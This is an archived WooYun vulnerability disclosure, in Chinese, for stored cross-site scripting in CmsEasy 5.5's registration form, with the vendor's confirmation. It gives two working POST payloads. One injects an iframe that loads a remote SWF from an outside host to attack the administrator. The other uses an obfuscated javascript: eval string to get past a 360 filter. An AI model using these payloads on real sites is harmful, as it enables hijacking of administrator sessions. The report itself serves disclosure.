漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-075642
漏洞标题：cmseasy 框架注入可通过swf文件进行xss 跨后台也可绕过360直接xss
相关厂商：cmseasy
漏洞作者： menmen519
提交时间：2014-09-15 15:23
修复时间：2014-12-14 15:24
公开时间：2014-12-14 15:24
漏洞类型：xss跨站脚本攻击
危害等级：中
自评Rank：10
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-15： 细节已通知厂商并且等待厂商处理中
2014-09-16： 厂商已经确认，细节仅向厂商公开
2014-09-19： 细节向第三方安全合作伙伴开放
2014-11-10： 细节向核心白帽子及相关领域专家公开
2014-11-20： 细节向普通白帽子公开
2014-11-30： 细节向实习白帽子公开
2014-12-14： 细节向公众公开
简要描述：
cmseasy 框架注入 可通过swf文件进行xss 跨后台 也可绕过360 直接xss
详细说明：
直接进入注册页面，然后发送数据包
url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=user&act=register
postdata:
username=d1d1112d1d&password=111111&password2=111111&question=&answer=11111111&e_mail=admin%40admin.com'"><iframe src=http://sj.com/1.swf>&tel=010-10000000&address=admindasdada&verify=ssss&submit=+%E6%B3%A8%E5%86%8C+
这里我们的1.swf就是一个远程的flash文件，由于这里的src有长度限制，不过不要紧，对于每一个xsser来说应该都有一个短域名，这里我就不赘述了，在swf里面可以写xss 然后进行通信，打管理员，swf内容我就不写了，我们看一下这个框架注入的dom是否已经被插入进去：
然后我们去后台看看该用户的信息：
这里我们继续看第二个方法，直接产生一个xss：
url:
http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=user&act=register
postdata:
username=d111d111121d1d&password=111111&password2=111111&question=&answer=11111111&e_mail="><iframe src=javascript:a='al';b='ert';c='(1)';eval(a+b+c)>&tel=010-10000000&address=admindasdada&verify=ssss&submit=+%E6%B3%A8%E5%86%8C+
在进入后台看看效果：
我们点击一下看看：
成功执行.................
漏洞证明：
修复方案：
版权声明：转载请注明来源 menmen519@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2014-09-16 08:23
厂商回复：
感谢
最新状态：
暂无